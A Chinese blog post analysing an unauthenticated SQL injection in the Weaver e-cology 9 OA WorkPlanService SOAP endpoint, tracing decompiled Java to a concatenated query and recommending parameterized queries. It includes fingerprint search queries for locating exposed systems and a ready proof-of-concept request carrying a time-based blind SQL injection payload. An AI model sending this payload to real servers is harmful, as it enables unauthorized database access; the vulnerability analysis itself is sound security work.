泛微e-cology9接口WorkPlanService前台SQL注入漏洞
xhys 发表于 北京 漏洞分析 771浏览 · 2024-08-19 00:54

指纹信息

fofa

app="泛微-协同商务系统"

hunter

app.name=="泛微 e-cology 9.0 OA"

POC

POST /services/WorkPlanService HTTP/1.1
HOST: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
    <soapenv:Header/>
      <soapenv:Body>
      <web:deleteWorkPlan>
         <!--type: string-->
         <web:in0>(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)</web:in0>
         <!--type: int-->
         <web:in1>22</web:in1> 
      </web:deleteWorkPlan>
      </soapenv:Body>
</soapenv:Envelope>

代码分析

在xml文件中,搜索WorkPlanService,定位

但是这个时候,如果你采取ctrl跟进,那我们就全局搜索对应的类


反编译这个类,跟进

然后来到这个地方,通过POC分析,在

<web:deleteWorkPlan>
     <!--type: string-->
     <web:in0>(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)</web:in0>
     <!--type: int-->
     <web:in1>22</web:in1> 
  </web:deleteWorkPlan>

Body:包含了一个名为deleteWorkPlan的Web服务方法调用

<web:in0>参数中的内容是一个SQL注入的载体,进行SQL注入。

所以很明显,我们就要去跟进deleteWorkPlan

public void deleteWorkplanFinish(String var1) {
    RecordSet var2 = new RecordSet();
    var2.executeUpdate("delete from workplanFinish where workplanid = ?", new Object[]{var1});
}

SQL语句:"delete from workplanFinish where workplanid = ?"

这条SQL语句的含义是从 workplanFinish 表中删除所有 workplanid 等于传入参数 var1 的记录。

然后? 是一个占位符

new Object[]{var1}var1 作为参数传递给 SQL 语句的占位符

这里有占位符,准备语句写的没有问题,不会存在SQL注入。

但是这个类,也没有deleteWorkPlan函数了,在同层目录下还有一个类

classbean/weaver/WorkPlan/webservices/WorkplanServiceImpl.class

public String deleteWorkPlan(String var1, int var2) {
    // 初始化返回结果字符串
    String var3 = "";

    // 根据用户ID var2 创建 User 对象
    User var4 = new User(var2);

    // 创建一个 HashMap 用于存储参数
    HashMap var5 = new HashMap();
    new HashMap(); // 似乎这个 HashMap 没有用到,可以去掉

    // 将工作计划ID (workid) 放入参数 Map 中
    var5.put("workid", var1);

    // 获取 WorkPlanBaseService 实例
    WorkPlanBaseService var7 = (WorkPlanBaseService) ServiceUtil.getService(WorkPlanBaseServiceImpl.class, var4);

    // 调用删除工作计划的方法,并将参数传入
    Map var6 = var7.deleteWorkPlan(var5);

    // 根据返回的状态判断删除是否成功
    if (!(Boolean) var6.get("status")) {
        // 删除失败,获取错误信息
        var3 = (String) var6.get("error");
    } else {
        // 删除成功,返回 "success"
        var3 = "success";
    }

    // 返回操作结果
    return var3;
}

这个地方 deleteWorkPlan 方法内部没有使用参数化查询或安全措施,那么是可以注入的,但是光靠这些是看不出来的

需要看 WorkPlanBaseServiceImpl 中的 deleteWorkPlan 方法,确定如何处理 var1 参数,跟进。

在这个位置/classbean/com/engine/workplan/cmd/workplanBase/DeleteWorkPlanCmd.class

// 构造函数,用于初始化 DeleteWorkPlanCmd 对象
public DeleteWorkPlanCmd(User var1, Map<String, Object> var2) {
    // 将用户对象赋值给类的成员变量 user
    this.user = var1;

    // 将传入的参数 Map 赋值给类的成员变量 params
    this.params = var2;

    // 初始化日志记录器
    this.logger = new SimpleBizLogger();
}

// 执行删除工作计划的具体逻辑
public Map<String, Object> execute(CommandContext var1) {
    // 创建一个 HashMap 用于存储返回结果
    HashMap var2 = new HashMap();

    // 从 params 中获取工作计划 ID,如果为空则尝试获取 detailid
    String var3 = Util.null2String(this.params.get("workid"));
    String var4 = ""; // 用于存储 resourceid

    // 如果工作计划 ID 为空,则尝试获取 detailid
    if ("".equals(var3)) {
        var3 = Util.null2String(this.params.get("detailid"));
    }

    // 检查工作计划 ID 是否有效
    if (!"".equals(var3)) {
        // 获取用户对该工作计划的访问权限级别
        int var5 = WorkPlanShareUtil.getShareLevel(var3, this.user);

        // 如果权限级别为 2,表示允许删除
        if (var5 == 2) {
            // 创建 RecordSet 对象用于执行数据库查询
            RecordSet var6 = new RecordSet();

            // 查询工作计划的状态和资源ID
            var6.executeSql("SELECT status, resourceid FROM WorkPlan WHERE id = " + var3);

            // 如果查询成功,判断工作计划的状态
            if (var6.next()) {
                // 如果状态不为 0,返回错误信息
                if (var6.getInt(1) != 0) {
                    var2.put("status", false);
                    var2.put("error", "id:" + var3 + " can not be deleted!");
                } else {
                    // 记录日志,删除提醒信息
                    this.beforeLog(var3);
                    (new PoppupRemindInfoUtil()).deletePoppupRemindInfo(Util.getIntValue(var3), 12);
                    (new PoppupRemindInfoUtil()).deletePoppupRemindInfo(Util.getIntValue(var3), 13);

                    // 写入视图日志
                    String[] var7 = new String[]{var3, "4", this.user.getUID() + "", Util.null2String(this.params.get("param_ip"))};
                    (new WorkPlanLogMan()).writeViewLog(var7);

                    // 删除工作计划
                    String var8 = Util.null2String(this.params.get("isFrom"));
                    (new WorkPlanHandler()).delete(var3, var8.equals("exchange"));
                    (new WorkPlanExchange()).workPlanDelete(Integer.parseInt(var3));

                    // 处理删除后相关的消息
                    try {
                        var4 = var6.getString(2);  // 获取资源 ID
                        ArrayList var9 = Util.TokenizerString(var4, ","); // 将资源 ID 切分为列表
                        Set var10 = (Set) var9.stream().collect(Collectors.toSet()); // 转换为集合

                        // 创建消息对象并删除相关消息
                        MessageBean var11 = new MessageBean();
                        var11.setTargetId(MessageType.WKP_SCHEDULE.getCode() + "|" + var3);
                        var11.setUserList(var10);
                        Util_Message.delMessageTargetid(var11);
                    } catch (Exception var12) {
                        // 捕获并打印异常
                        var12.printStackTrace();
                    }

                    // 将状态设置为成功
                    var2.put("status", true);
                }
            } else {
                // 如果没有找到对应的工作计划,返回错误信息
                var2.put("status", false);
                var2.put("error", "id:" + var3 + " no data in workplan");
            }
        } else {
            // 如果权限不足,返回错误信息
            var2.put("status", false);
            var2.put("error", "no right");
        }
    } else {
        // 如果工作计划 ID 为空,返回错误信息
        var2.put("status", false);
        var2.put("error", "id is null");
    }

    // 返回操作结果
    return var2;
}

分析

workid 通过 params Map 获取,并存储在 var3 中。如果 workid 为空,则尝试获取 `detailid。

调用 WorkPlanShareUtil.getShareLevel(var3, this.user),检查当前用户对该工作计划的权限。如果权限级别不为 2,返回错误信息。

通过 RecordSet 执行 SQL 查询:SELECT status, resourceid FROM WorkPlan WHERE id = " + var3

!!!这里直接将 var3 拼接到 SQL 查询字符串中

虽然使用了 Util.null2String() 方法,只是将 null 转换为 "",并不足以防止恶意输入

总结

一波三折,这个SQL确实隐藏的深。

DeleteWorkPlanCmd 类中的 execute 方法存在 SQL 注入风险,主要是由于直接将用户输入拼接到 SQL 查询中

修复建议

在输入workid 之前,应当增加输入验证环节

然后就是SQL语句替换为参数化查询

var6.executeSql("SELECT status, resourceid FROM WorkPlan WHERE id = ?", new Object[]{var3});

漏洞复现

0 条评论
某人
表情
可输入 255
目录